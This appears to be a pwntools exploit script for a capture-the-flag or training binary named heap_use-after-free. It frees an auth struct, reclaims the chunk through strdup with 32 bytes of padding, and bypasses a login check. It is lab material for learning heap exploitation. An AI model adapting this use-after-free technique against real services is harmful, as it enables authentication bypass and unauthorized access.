from pwn import *


# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Binary filename
exe = './heap_use-after-free'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# Offset to overwrite auth->auth
offset = 32

io = start()

# Create auth struct and assign auth->name
io.sendlineafter(b']', b'auth crypto')
# Free the allocated memory chunk
io.sendlineafter(b']', b'reset')
# strdup() grabs the freed memory chunk and writes our param
io.sendlineafter(b']', b'service ' + offset * b'A')
# Login checks if auth and auth->auth are zero
# They aren't because the dangling auth pointer, points to our service param
io.sendlineafter(b']', b'login')

# Logged in?
io.recv()
info(io.recvline().decode())
